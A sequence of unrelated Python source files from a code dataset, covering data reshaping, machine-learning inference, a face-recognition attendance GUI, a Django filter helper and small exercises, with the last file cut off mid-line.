slicer.mrmlScene.AddNode(tableNode)\n logic.exportToTable(featuresDict, tableNode)\n logic.showTable(tableNode)\n\n featuresDict = logic.runWithParameterFile(grayscaleNode, labelmapNode, binaryNode, parameterFile)\n\n tableNode = slicer.vtkMRMLTableNode()\n tableNode.SetName('lung1_label and ' + binaryNode.GetName() + ' customized with Params.yaml')\n slicer.mrmlScene.AddNode(tableNode)\n logic.exportToTable(featuresDict, tableNode)\n logic.showTable(tableNode)\n\n self.delayDisplay('Test passed!')\n","sub_path":"SlicerRadiomics/SlicerRadiomics.py","file_name":"SlicerRadiomics.py","file_ext":"py","file_size_in_byte":30768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"44782907","text":"#!/usr/bin/env python3\n\n\n\ndef test_sat():\n\n # \n # [<<< table of contents](index.html)\n #\n # ---\n #\n # Constraint satisfier\n # ====================\n # \n # \n # \n\n\n from bruhat.render.sat import Variable, Solver, System\n \n x = Variable('x')\n y = Variable('y')\n z = Variable('z')\n\n items = [\n x+y >= 1.,\n x+z == 5,\n y >= 3.\n ]\n\n solver = Solver(items)\n\n result = solver.solve()\n print(result)\n\n system = System()\n v = system.get_var()\n u = system.get_var()\n w = system.get_var()\n system.add(v+u+w == 3.)\n system.solve()\n print(system[v] + system[u] + system[w])\n\n\nif __name__ == \"__main__\":\n\n test_variable()\n \n\n\n","sub_path":"bruhat/render/doc/test_sat.py","file_name":"test_sat.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"230730265","text":"print(\"enter the number to get fibonacci series\")\r\nn=int(input())\r\nx=0;y=1;\r\nif n==1:\r\n print(x)\r\nelse:\r\n print(x)\r\n print(y)\r\n for i in range(2,n):\r\n s=x+y\r\n print(s)\r\n x=y\r\n y=s\r\n \r\n \r\n","sub_path":"fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"143125859","text":"# -*- coding: utf-8 -*-\n# @Time : 2017/6/26 上午12:24\n# @Author : fj\n# @Site : \n# @File : test_saver.py\n# @Software: PyCharm\n\nimport pandas as pd\nimport tensorflow as tf\nfrom sklearn.model_selection import train_test_split\n\ndata = pd.read_csv('./data/train.csv')\ndata = data.fillna(0) #填充缺失数据\ndata['Sex'] = data['Sex'].apply(lambda s: 1 if s == 'male' else 0)\ndata['Deceased'] = data['Survived'].apply(lambda s: int(not s))\n\ndataset_x = data[['Sex', 'Age', 'Pclass', 'SibSp', 'Parch', 'Fare']].as_matrix()\ndataset_y = data[['Deceased', 'Survived']].as_matrix()\n\nx_train, x_test, y_train, y_test = train_test_split(dataset_x, dataset_y, test_size=0.2, random_state=42) #random_state随机种子\n\nx = tf.placeholder(tf.float32, shape=[None, 6], name='x')\ny = tf.placeholder(tf.float32, shape=[None, 2], name='y')\n\nW = tf.Variable(tf.random_normal([6, 2]), name='weights')\nb = tf.Variable(tf.zeros([2]), name='bias')\n\ny_pred = tf.nn.softmax(tf.matmul(x, W) + b)\nwith tf.Session() as sess:\n # init = tf.global_variables_initializer()\n # sess.run(init)\n saver = tf.train.Saver()\n saver.restore(sess, 'model.ckpt')\n correct_pred = tf.equal(tf.argmax(y, 1), tf.argmax(y_pred, 1))\n acc_op = tf.reduce_mean(tf.cast(correct_pred, tf.float32))\n accuracy = sess.run(acc_op, feed_dict={x: x_test, y: y_test})\n print(\"Accuracy on validation set: %.9f\" % accuracy)","sub_path":"2. titanic/test_saver.py","file_name":"test_saver.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"627490128","text":"# Splits the heaer value into seperate dimension items\r\ndef spreadHeader(header):\r\n header = str(header)\r\n \r\n # ...sigh\r\n header = header.replace('Ouward', 'Outward')\r\n \r\n \r\n cells = header.split(' ')\r\n \r\n # Drop pointless things\r\n cells = [x for x in cells if x != ':£m'] # dont care. 'Value' in a paired dimension covers it.\r\n\r\n \r\n # if their are any colons left its fully delimited, use it\r\n if len([x for x in header.split(' ') if ':' in x]) > 1:\r\n dimRow = header.split(':')\r\n dimRow = [x for x in dimRow if x != '£m'] # still dont care\r\n \r\n \r\n # From here its just text pasrsing to match up the different pattersn\r\n elif 'Total' in cells and '&' in cells:\r\n dimRow = [cells[0] + ' ' + cells[1] + ' ' + cells[2], cells[3] + ' ' + cells[4], cells[5], cells[6]]\r\n #assert len(cells) == 7, \"Parse 1 wasting\"\r\n \r\n \r\n elif '&' in cells:\r\n dimRow = [cells[0] + ' ' + cells[1] + ' ' + cells[2], cells[3], cells[4], cells[5]]\r\n #assert len(cells) == 6, \"Parse 2 wasting\"\r\n \r\n \r\n elif 'Other' in cells[0]:\r\n dimRow = [cells[0] + ' ' + cells[1], cells[2], cells[3], cells[4]]\r\n \r\n \r\n elif 'Total' in cells:\r\n dimRow = [cells[0] + ' ' + cells[1], cells[2], cells[3], cells[4]]\r\n #assert len(cells) == 5, \"Parse 3 wasting\"\r\n \r\n else:\r\n dimRow = [cells[0], cells[1], cells[2], cells[3]]\r\n \r\n return dimRow\r\n\r\n\r\n# Spread the dim items from the header into V4 style\r\ndef colToV4(df, col):\r\n \r\n \"\"\"\r\n The actual obsCol taken from the DF is the observation\r\n The header text is spread to create the dims\r\n \"\"\"\r\n dimRow = spreadHeader(col)\r\n \r\n newDf = pd.DataFrame()\r\n \r\n newDf['V4_0'] = df[col][6:] # skip the CDID\r\n \r\n newDf['Time_codelist'] = 'Year'\r\n newDf['Time'] = df['Title'][6:]\r\n \r\n # Switch the time type if quartes are involved\r\n newDf['Time_codelist'][newDf['Time'].str.contains('Q')] = 'Quarter'\r\n \r\n newDf['Geography_codelist'] = 'K02000001'\r\n newDf['Geography'] = ''\r\n \r\n newDf['d1#_codelist'] = ''\r\n newDf['d1#'] = dimRow[0]\r\n \r\n newDf['d2#_codelist'] = ''\r\n newDf['d2#'] = dimRow[1]\r\n \r\n newDf['d3#_codelist'] = ''\r\n newDf['d3#'] = dimRow[2]\r\n \r\n # Optional. Not all columns have 4 dims so set to 'unspecified' to keep the shape\r\n if len(dimRow) < 4:\r\n newDf['d4#_codelist'] = ''\r\n newDf['d4#'] = 'UnSpecified'\r\n else:\r\n newDf['d4#_codelist'] = ''\r\n newDf['d4#'] = dimRow[3]\r\n \r\n \r\n newDf.fillna('', inplace=True)\r\n \r\n #newDf['sanityCheck'] = col\r\n\r\n return newDf\r\n\r\n\r\n# Takes a dataframe and a dict of what we want the column headers\r\ndef buildHeaders(df, Ovr):\r\n newHeaders = []\r\n \r\n for key in Ovr.keys():\r\n if Ovr[key] == 'DROPME':\r\n df = df.drop(key, axis=1)\r\n df = df.drop(key + '_codelist', axis=1)\r\n \r\n # Replace/fix headers\r\n for col in df.columns.values: # 1 at a time for order\r\n for key in Ovr.keys():\r\n if key in col:\r\n col = col.replace(key, Ovr[key])\r\n newHeaders.append(col)\r\n df.columns = newHeaders\r\n return df\r\n \r\n \r\nimport pandas as pd\r\nimport sys\r\n\r\n\r\n##########\r\n## MAIN ##\r\n##########\r\n\r\n\"\"\"\r\nCreate an inlcudes-everything \"main\" dataframe with holding dimensions d1#, d2#, d3#, d4# for topics.\r\nEverything we want can be sliced out of that.\r\n\"\"\"\r\n\r\ninFile = sys.argv[1]\r\n\r\ndf = pd.read_csv(inFile)\r\n\r\nmainDf = []\r\nfor col in df.columns.values[1:]:\r\n newDf = colToV4(df, col)\r\n mainDf.append(newDf)\r\n\r\nmainDf = pd.concat(mainDf)\r\nmainDf.fillna('', inplace=True) # pesky nans\r\n\r\n# Get rid of blank observations\r\nmainDf = mainDf[mainDf['V4_0'] != '']\r\n\r\n\r\n\r\n###########################################################\r\n### Getting Countries based Values and Numbers Datasets ###\r\n###########################################################\r\n\r\n# Countries is all rows that dont have 'M&A' for topic d1#\r\ndf = mainDf[mainDf['d1#'].map(lambda x: x.strip() != 'M&A')]\r\nOvr = {\r\n 'd1#':'Country',\r\n 'd2#':'Flow',\r\n 'd3#':'M&A',\r\n 'd4#':'Measure',\r\n}\r\ndf = buildHeaders(df, Ovr)\r\n\r\n# Tidy up \"Value:\" into \"Value\" for the measure dimension\r\ndf['Measure'][df['Measure'] == 'Value:'] = 'Value'\r\n\r\n\r\n# Now we split them into \"Values\" and \"Numbers\" dataset based on whats in the 'measure' dimension\r\n\r\n# -- Value\r\nvalDf = df[df['Measure'] == 'Value']\r\nvalDf = valDf.drop('Measure', axis=1) # drop 'measure', its served its purpose\r\nvalDf = valDf.drop('Measure_codelist', axis=1)\r\nvalDf.to_csv('Mergers and Acquisition, Value of by County.csv', index=False)\r\n\r\n\r\n# -- Numbers\r\nvalDf = df[df['Measure'] == 'Number']\r\nvalDf = valDf.drop('Measure', axis=1) # drop 'measure', its served its purpose\r\nvalDf = valDf.drop('Measure_codelist', axis=1)\r\nvalDf.to_csv('Mergers and Acquisition, Number of by County.csv', index=False)\r\n\r\n\r\n\r\n###############################\r\n### Other Numeric Measures ###\r\n###############################\r\n\r\n# Mergers and Acquisitions, Numbers\r\ndf = mainDf[mainDf['d3#'].map(lambda x: 'number' in x.strip().lower())]\r\nOvr = {\r\n 'd1#':'DROPME', # M&A\r\n 'd2#':'Flow', # \r\n 'd3#':'Transactions', # \r\n 'd4#':'DROPME',\r\n}\r\ndf = buildHeaders(df, Ovr)\r\n\r\n\r\n# Split out mergers from disposals. Doing it here as some are not clearly delimited.\r\ndf['Merger or Acquisition_codelist'] = ''\r\ndf['Merger or Acquisition'] = ''\r\ndf['Merger or Acquisition'][df['Transactions'].map(lambda x: 'acqui' in x.lower())] = 'Acquisition'\r\ndf['Merger or Acquisition'][df['Transactions'].map(lambda x: 'disposal' in x.lower())] = 'Disposal'\r\n\r\n# Get rid of' Number of companies acquired'. Its the sole romainint domestic item\r\ndf = df[df['Transactions'] != ' Number of companies acquired']\r\n\r\n# Clean the text\r\nremoveCrap = [' Number of acquisitions ', ' Number of disposals ']\r\nfor rc in removeCrap:\r\n df['Transactions'] = df['Transactions'].map(lambda x: x.replace(rc,''))\r\ndf['Transactions'] = df['Transactions'].map(lambda x: x.replace('-', '').strip().title())\r\n\r\n# Since I used title-caxe I need to correct the national acronyms\r\ndf['Transactions'][df['Transactions'] == 'In Eu'] = 'In EU'\r\ndf['Transactions'][df['Transactions'] == 'In Usa'] = 'In USA'\r\ndf['Transactions'][df['Transactions'] == 'Indirect Funded In Uk'] = 'Indirect Funded In UK'\r\n\r\n# Get rid of (some of the) sparsity\r\ndf['Transactions'][df['Transactions'] == 'Number Of Acquisitions'] = 'Number Of'\r\ndf['Transactions'][df['Transactions'] == 'Number Of Disposals'] = 'Number Of'\r\n\r\n\r\n# whitespace\r\ndf['Flow'] = df['Flow'].map(lambda x: x.strip())\r\n\r\nlisto = df['Flow'].unique()\r\nassert '' not in listo, \"Flow is blank! Should be acquisition or disposal, contains: \" + df['Flow'].unique()\r\n\r\ndf.to_csv('Mergers and Acquisitions - Numbers.csv', index=False)\r\n\r\n\r\n\r\n#############################\r\n### Other Value Measures ###\r\n#############################\r\n\r\n# Mergers and Acquisitions, Value\r\ndf = mainDf[mainDf['d3#'].map(lambda x: 'value' in x.strip().lower())]\r\nOvr = {\r\n 'd1#':'DROPME', # M&A\r\n 'd2#':'DROPME', # \r\n 'd3#':'Transactions', # \r\n 'd4#':'DROPME',\r\n}\r\ndf = buildHeaders(df, Ovr)\r\n\r\n\r\n# Need to get Acqusitions and Displosals from text as its not a dimension in all cases\r\ndf['Flow_codelist'] = ''\r\ndf['Flow'] = ''\r\ndf['Flow'][df['Transactions'].map(lambda x: 'acqui' in x.lower())] = 'Acquisition'\r\ndf['Flow'][df['Transactions'].map(lambda x: 'disposal' in x.lower())] = 'Disposal'\r\n\r\n# Get rid of generic stock data. Doesn't the the cube structure\r\nfor rm in [' Value of ordinary shares ', ' Value of preference & loan stock ']:\r\n df = df[df['Transactions'] != rm]\r\n\r\n# Clean the text\r\nremoveCrap = [' Value of acquisitions ', ' Value of disposals ']\r\nfor rc in removeCrap:\r\n df['Transactions'][df['Transactions'] == rc] = 'Total Value' # it its *just* something from the list its a total\r\n df['Transactions'] = df['Transactions'].map(lambda x: x.replace(rc,'')) # otherwise its in the way\r\ndf['Transactions'] = df['Transactions'].map(lambda x: x.replace('-', '').strip().title())\r\n\r\n# Since I used title-caxe I need to correct the national acronyms\r\ndf['Transactions'][df['Transactions'] == 'In Eu'] = 'In EU'\r\ndf['Transactions'][df['Transactions'] == 'In Usa'] = 'In USA'\r\ndf['Transactions'][df['Transactions'] == 'Indirect Funded In Uk'] = 'Indirect Funded In UK'\r\n\r\nlisto = df['Flow'].unique()\r\nassert '' not in listo, \"Flow is blank! Should be acquisition or disposal, contains: \" + df['Flow'].unique()\r\n\r\ndf.to_csv('Mergers and Acquisitions - Values.csv', index=False)\r\n\r\n\r\n","sub_path":"Mergers and Acquisitions/mergAcq.py","file_name":"mergAcq.py","file_ext":"py","file_size_in_byte":8682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"640289469","text":"import tkinter as tk\nfrom tkinter import Message, Text\nimport cv2\nimport os\nimport shutil\nimport csv\nimport numpy as np\nfrom PIL import Image, ImageTk\nimport pandas as pd\nimport datetime\nimport time\nimport tkinter.ttk as ttk\nimport tkinter.font as font\n\nwindow = tk.Tk()\nwindow.title(\"Smart Attendance System\")\nwindow.attributes('-fullscreen', True)\ncanvas = tk.Canvas(window, width = 1400, height = 715) \ncanvas.pack() \nimg = ImageTk.PhotoImage(Image.open(\"1.jpg\")) \ncanvas.create_image(0, 0, anchor='nw', image=img) \n\nmessage = tk.Label(window, text=\"Face Recognition Based Smart Attendance System\",\n fg=\"Blue\", width=70, height=1, font=('times', 30, 'italic bold'))\n\nmessage.place(x=0, y=50)\nborder = tk.Label(window, text=\"Welcome to Smart Attendance System || NEW USER : Enter Your Details And Capture Your Picture then Press 'TRAIN IMAGE' || EXISTING USER : Click on 'TRACK IMAGE' after tracking Press 'Q'\",\n width=172, height=1, bg='blue', fg=\"yellow\")\nborder.place(x=0, y=0)\nborder = tk.Label(window, width=1000, height=3, bg='blue')\nborder.place(x=0, y=715)\nlbl = tk.Label(window, text=\"Enter ID\", width=20, height=2,\n fg=\"White\", bg=\"Blue\", font=('times', 15, ' bold '))\nlbl.place(x=300, y=200)\n\ntxt = tk.Entry(window, width=20, bg=\"Blue\", fg=\"white\",\n font=('times', 15, ' bold '))\ntxt.place(x=550, y=215)\n\nlbl2 = tk.Label(window, text=\"Enter Name\", width=20, fg=\"white\",\n bg=\"Blue\", height=2, font=('times', 15, ' bold '))\nlbl2.place(x=300, y=300)\n\ntxt2 = tk.Entry(window, width=20, bg=\"Blue\", fg=\"white\",\n font=('times', 15, ' bold '))\ntxt2.place(x=550, y=315)\n\nlbl3 = tk.Label(window, text=\"Notification : \", width=20,\n fg=\"white\", bg=\"Blue\", height=2, font=('times', 15, ' bold'))\nlbl3.place(x=300, y=400)\n\nmessage = tk.Label(window, text=\"\", bg=\"Blue\", fg=\"white\", width=53,\n height=2, activebackground=\"Blue\", font=('times', 15, ' bold '))\nmessage.place(x=550, y=400)\n\nlbl3 = tk.Label(window, text=\"Attendance : \", width=20, fg=\"white\",\n bg=\"Blue\", height=2, font=('times', 15, ' bold'))\nlbl3.place(x=400, y=580)\n\nmessage2 = tk.Label(window, text=\"\", fg=\"white\", bg=\"Blue\",\n activeforeground=\"green\", width=60, height=2, font=('times', 15, ' bold '))\nmessage2.place(x=620, y=580)\n\n\ndef clear():\n txt.delete(0, 'end')\n res = \"\"\n message.configure(text=res)\n\n\ndef clear2():\n txt2.delete(0, 'end')\n res = \"\"\n message.configure(text=res)\n\n\ndef is_number(s):\n try:\n float(s)\n return True\n except ValueError:\n pass\n\n try:\n import unicodedata\n unicodedata.numeric(s)\n return True\n except (TypeError, ValueError):\n pass\n\n return False\n\n\ndef TakeImages():\n Id = (txt.get())\n name = (txt2.get())\n if(is_number(Id) and name.isalpha()):\n cam = cv2.VideoCapture(0)\n harcascadePath = \"haarcascade_frontalface_default.xml\"\n detector = cv2.CascadeClassifier(harcascadePath)\n sampleNum = 0\n while(True):\n ret, img = cam.read()\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n faces = detector.detectMultiScale(gray, 1.3, 5)\n for (x, y, w, h) in faces:\n cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)\n # incrementing sample number\n sampleNum = sampleNum+1\n # saving the captuwhite face in the dataset folder TrainingImage\n cv2.imwrite(\"TrainingImage/ \"+name + \".\"+Id + '.' +\n str(sampleNum) + \".jpg\", gray[y:y+h, x:x+w])\n # display the frame\n cv2.imshow('Capture Image', img)\n # wait for 100 miliseconds\n if cv2.waitKey(100) & 0xFF == ord('q'):\n break\n # break if the sample number is morethan 100\n elif sampleNum > 60:\n break\n cam.release()\n cv2.destroyAllWindows()\n # res = \"Images Saved for ID : \" + Id +\" Name : \"+ name\n row = [Id, name]\n with open('StudentDetails/StudentDetails.csv', 'a+') as csvFile:\n writer = csv.writer(csvFile)\n writer.writerow(row)\n csvFile.close()\n res = \"Picture Captured Successfully\"\n message.configure(text=res)\n else:\n if(is_number(Id)):\n res = \"Enter Alphabetical Name\"\n message.configure(text=res)\n if(name.isalpha()):\n res = \"Enter Numeric Id\"\n message.configure(text=res)\n\n\ndef TrainImages():\n recognizer = cv2.face_LBPHFaceRecognizer.create()\n harcascadePath = \"haarcascade_frontalface_default.xml\"\n detector = cv2.CascadeClassifier(harcascadePath)\n faces, Id = getImagesAndLabels(\"TrainingImage\")\n recognizer.train(faces, np.array(Id))\n recognizer.save(\"TrainingImageLabel/Trainner.yml\")\n res = \"Image Trained\"\n message.configure(text=res)\n\n\ndef getImagesAndLabels(path):\n # get the path of all the files in the folder\n imagePaths = [os.path.join(path, f) for f in os.listdir(path)]\n # create empty face list\n faces = []\n # create empty ID list\n Ids = []\n # now looping through all the image paths and loading the Ids and the images\n for imagePath in imagePaths:\n # loading the image and converting it to gray scale\n pilImage = Image.open(imagePath).convert('L')\n # Now we are converting the PIL image into numpy array\n imageNp = np.array(pilImage, 'uint8')\n # getting the Id from the image\n Id = int(os.path.split(imagePath)[-1].split(\".\")[1])\n # extract the face from the training image sample\n faces.append(imageNp)\n Ids.append(Id)\n return faces, Ids\n\n\ndef TrackImages():\n recognizer = cv2.face.LBPHFaceRecognizer_create()\n recognizer.read(\"TrainingImageLabel/Trainner.yml\")\n harcascadePath = \"haarcascade_frontalface_default.xml\"\n faceCascade = cv2.CascadeClassifier(harcascadePath)\n df = pd.read_csv(\"StudentDetails/StudentDetails.csv\")\n cam = cv2.VideoCapture(0)\n font = cv2.FONT_HERSHEY_SIMPLEX\n col_names = ['Id', 'Name', 'Date', 'Time']\n attendance = pd.DataFrame(columns=col_names)\n while True:\n ret, im = cam.read()\n gray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)\n faces = faceCascade.detectMultiScale(gray, 1.2, 5)\n for(x, y, w, h) in faces:\n cv2.rectangle(im, (x, y), (x+w, y+h), (225, 0, 0), 2)\n Id, conf = recognizer.predict(gray[y:y+h, x:x+w])\n if(conf < 50):\n ts = time.time()\n date = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d')\n timeStamp = datetime.datetime.fromtimestamp(\n ts).strftime('%H:%M:%S')\n aa = df.loc[df['Id'] == Id]['Name'].values\n tt = str(Id)+\" - \"+aa\n attendance.loc[len(attendance)] = [Id, aa, date, timeStamp]\n res=str(tt)+\" Your Present In Confirmed !\"\n else:\n Id = 'Unknown'\n tt = str(Id)\n res = \"NO KNOWN FACE FOUND ! RETRY !!!\"\n if(conf > 75):\n res = \"NO KNOWN FACE FOUND ! RETRY !!!\"\n noOfFile = len(os.listdir(\"ImagesUnknown\"))+1\n cv2.imwrite(\"ImagesUnknown/Image\"+str(noOfFile) +\n \".jpg\", im[y:y+h, x:x+w])\n cv2.putText(im, str(tt), (x, y+h), font, 1, (255, 255, 255), 2)\n attendance = attendance.drop_duplicates(subset=['Id'], keep='first')\n cv2.imshow('Tracking', im)\n if (cv2.waitKey(1) == ord('q')):\n break\n attendance = attendance.drop_duplicates(subset=['Id'], keep='first')\n ts = time.time()\n date = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d')\n timeStamp = datetime.datetime.fromtimestamp(ts).strftime('%H:%M:%S')\n Hour, Minute, Second = timeStamp.split(\":\")\n fileName = \"Attendance/Attendance_\"+date+\"_\"+Hour+\"-\"+Minute+\"-\"+Second+\".csv\"\n attendance.to_csv(fileName, index=False)\n cam.release()\n cv2.destroyAllWindows()\n # res=attendance\n message2.configure(text=res)\n\n\nclearButton = tk.Button(window, text=\"Clear\", command=clear, fg=\"white\", bg=\"Blue\",\n width=20, height=2, activebackground=\"white\", font=('times', 15, ' bold '))\nclearButton.place(x=850, y=200)\nclearButton2 = tk.Button(window, text=\"Clear\", command=clear2, fg=\"white\", bg=\"Blue\",\n width=20, height=2, activebackground=\"white\", font=('times', 15, ' bold '))\nclearButton2.place(x=850, y=300)\ntakeImg = tk.Button(window, text=\"Take Images\", command=TakeImages, fg=\"white\", bg=\"Blue\",\n width=20, height=2, activebackground=\"white\", font=('times', 15, ' bold '))\ntakeImg.place(x=180, y=500)\ntrainImg = tk.Button(window, text=\"Train Images\", command=TrainImages, fg=\"white\",\n bg=\"Blue\", width=20, height=2, activebackground=\"white\", font=('times', 15, ' bold '))\ntrainImg.place(x=480, y=500)\ntrackImg = tk.Button(window, text=\"Track Images\", command=TrackImages, fg=\"white\",\n bg=\"Blue\", width=20, height=2, activebackground=\"white\", font=('times', 15, ' bold '))\ntrackImg.place(x=780, y=500)\nquitWindow = tk.Button(window, text=\"Quit\", command=window.destroy, fg=\"white\", bg=\"Blue\",\n width=20, height=2, activebackground=\"white\", font=('times', 15, ' bold '))\nquitWindow.place(x=1080, y=500)\ncopyWrite = tk.Label(window, text=\"Created By BUIE CSE GROUP \\n (Amit_Kabi,Amit_Goswami,Suman_Mandal,Tapas_Pal,Ayan_Mandal)\",\n bg=\"Blue\", fg=\"white\", width=100, height=2, activebackground=\"Blue\", font=('times', 12, ' bold '))\ncopyWrite.place(x=300, y=715)\n\nwindow.mainloop()\n","sub_path":"Face-Recognition-Based-Attendance-System-master/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":9836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"105032380","text":"#\n# Copyright (c) 2018 Red Hat\n# Licensed under The MIT License (MIT)\n# https://opensource.org/licenses/MIT\n#\nfrom contrib import drf_introspection\n\nfrom django_filters import NumberFilter\n\nLOOKUP_TYPES = {\n 'icontains': 'case insensitive, substring match',\n 'contains': 'substring match',\n 'iexact': 'case insensitive',\n}\n\n\ndef get_filters(view):\n \"\"\"\n For a given view set returns which query filters are available for it a\n Markdown formatted list. The list does not include query filters specified\n on serializer or query arguments used for paging.\n \"\"\"\n allowed_keys = drf_introspection.get_allowed_query_params(view)\n filter_class = getattr(view, 'filter_class', None)\n filterset = filter_class() if filter_class is not None else None\n filterset_fields = filterset.filters if filterset is not None else []\n filter_fields = set(getattr(view, 'filter_fields', []))\n extra_query_params = set(getattr(view, 'extra_query_params', []))\n\n filters = []\n for key in sorted(allowed_keys):\n if key in filterset_fields:\n # filter defined in FilterSet\n filter = filterset_fields.get(key)\n filters.append(_get_filter(key, filter))\n elif key in filter_fields or key in extra_query_params:\n # filter defined in viewset directly; type depends on model, not easily available\n filters.append(' * `%s`' % key)\n # else filter defined somewhere else and not relevant here (e.g.\n # serializer or pagination settings).\n\n return '\\n'.join(filters)\n\n\ndef _get_filter_option(filter, option_name):\n value = getattr(filter, option_name, '') or filter.extra.get(option_name, '')\n return value.rstrip()\n\n\ndef _get_filter(filter_name, filter):\n filter_type = _get_filter_option(filter, 'doc_format')\n if not filter_type:\n if isinstance(filter, NumberFilter):\n filter_type = 'int'\n else:\n filter_type = 'string'\n\n lookup_type = LOOKUP_TYPES.get(filter.lookup_expr)\n if lookup_type:\n lookup_type = ', %s' % lookup_type\n\n result = ' * `%s` (%s%s)' % (filter_name, filter_type, lookup_type or '')\n help_text = _get_filter_option(filter, 'help_text')\n if help_text:\n result += ' ' + help_text\n\n return result\n","sub_path":"pdc/apps/common/renderers_filters.py","file_name":"renderers_filters.py","file_ext":"py","file_size_in_byte":2292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"602599401","text":"import copy\nimport torch\nimport torch.nn as nn\nfrom torchvision import transforms\nimport os, cv2, sys\nimport numpy as np\nsys.path.append('..')\nfrom architectures.unet import UNet_G\nfrom architectures.resnet import ResNet_G\nfrom utils.griffin_lim import *\nfrom utils.inference_utils import *\nfrom utils.utils import generate_noise\nfrom PIL import Image\n\ncv2.namedWindow('Input')\ncv2.namedWindow('Output')\n\ndevice = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n\nnz = 8\ninput_img_dir = 'samples'\ninput_img_list = os.listdir(input_img_dir)\nmodel_path = 'saved/.pth'\n\nsz, ic, oc, use_bn, norm_type = 256, 3, 3, True, 'instancenorm'\nnetG = UNet_G(ic, oc, sz, nz, use_bn, norm_type).to(device)\n# netG = ResNet_G(ic, oc, sz, nz = nz, norm_type = norm_type).to(device)\nnetG.load_state_dict(torch.load(model_path, map_location = 'cpu'))\nnetG.eval()\n\ncnt, total_num = 0, 10\nimage, _ = get_image(os.path.join(input_img_dir, input_img_list[cnt]), sz)\nimage_t = transform_image(image, sz, ic)\nnoise = generate_noise(1, nz, device)\nout = generate(netG, image_t, noise, oc, sz, device)\n\nwhile(1):\n\tcv2.imshow('Input', image)\n\tcv2.imshow('Output', out)\n\n\tkey = cv2.waitKey(1) & 0xFF\n\n\tif(key == ord('q')):\n\t\tbreak\n\n\telif(key == ord('r')):\n\t\tnoise = generate_noise(1, nz, device)\n\t\tout = generate(netG, image_t, noise, oc, sz, device)\n\n\telif(key == ord('t')):\n\t\ten = generate_noise(1, nz, device)\n\t\tsn = copy.deepcopy(noise)\n\t\tfor i in range(10):\n\t\t\tcur_noise = interpolation(sn, en, 10, i+1)\n\t\t\tout = generate(netG, image_t, cur_noise, oc, sz, device)\n\t\t\tcv2.imshow('Input', image)\n\t\t\tcv2.imshow('Output', out)\n\t\t\tcv2.waitKey(1)\n\t\tnoise = copy.deepcopy(en)\n\n\telif(key == ord('e')):\n\t\tcnt += 1\n\t\tif(cnt>=total_num):\n\t\t\tcnt = 0\n\t\timage, _ = get_image(os.path.join(input_img_dir, input_img_list[cnt]), sz)\n\t\timage_t = transform_image(image, sz, ic)\n\t\tout = generate(netG, image_t, noise, oc, sz, device)\n\ncv2.destroyAllWindows()","sub_path":"others/unpaired/baseline/inference/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":1926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"167097541","text":"'''\n136. Single Number My Submissions Question\nTotal Accepted: 110229 Total Submissions: 228793 Difficulty: Medium\nGiven an array of integers, every element appears twice except for one. Find that single one.\n\nNote:\nYour algorithm should have a linear runtime complexity. Could you implement it without using extra memory?\n\n'''\nclass Solution(object): \n \n def singleNumber(self,nums) : \n \"\"\"\n :type nums: List[int]\n :rtype: int \n XOR of same number = 0; after loop we are left with missing num\n 52 ms\n \"\"\"\n result = 0\n for x in nums: \n result ^= x \n return result \n \n def singleNumber2(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int \n 76 ms solution o(n) space O(n) time\n \"\"\"\n from collections import Counter\n counter = Counter(nums)\n for (k,v) in counter.items(): \n if v == 1: \n return k\n \n def singleNumber1(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int \n using dictionary o(n) space complexity linear time\n \"\"\"\n from collections import defaultdict\n dt = defaultdict(int)\n for n in nums: \n dt[n] += 1\n for k,v in dt.items(): \n if v == 1: \n return k\n","sub_path":"136_single_number.py","file_name":"136_single_number.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"322280065","text":"# Skoda fylgni milli ara\n\n\nimport ReadCSVRowHeader as csvReader \nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n\nclass Stats:\n\n def __init__(self, DfData, monthPlayed):\n self.Data = []\n self.Counter = 1\n self.year_With2014 = []\n self.yearMin = 1998\n\n yearCounter = self.yearMin\n for item in DfData.T.iterrows():\n yearCounter += 1\n month = monthPlayed.get(yearCounter, False)\n item = list(item[1])\n if month and item[month] != 0:\n self.Data.append(item[month])\n self.year_With2014.append(yearCounter)\n\n # for k,v in monthPlayed.items():\n # # print('v',v)\n # self.Data.append(DfData[self.Counter][v])\n # self.year_With2014.append(k)\n # self.Counter += 1\n # if self.Data[len(self.Data)-1] == 0:\n # self.Data = self.Data[0:len(self.Data)-1]\n # self.year_With2014 = self.year_With2014[0:len(self.year_With2014)-1]\n\n # print('years', self.year_With2014)\n # print('Data', self.Data)\n\n self.line, self.w = self.Least_Squares()\n\n # The Method of Least Sqaures\n\n def Least_Squares(self):\n A = np.vstack([self.year_With2014, np.ones(len(self.year_With2014))]).T\n w = np.linalg.lstsq(A,self.Data)[0]\n year_np = np.array(self.year_With2014)\n line = w[0]*year_np + w[1]\n return line, w\n\n def getPrediction(self):\n year_np = np.array(self.year_With2014)\n nextYear = year_np[-1]+1\n print('Spá fyrir gistinætum hjá útlendingum yfir Airwaves árið', 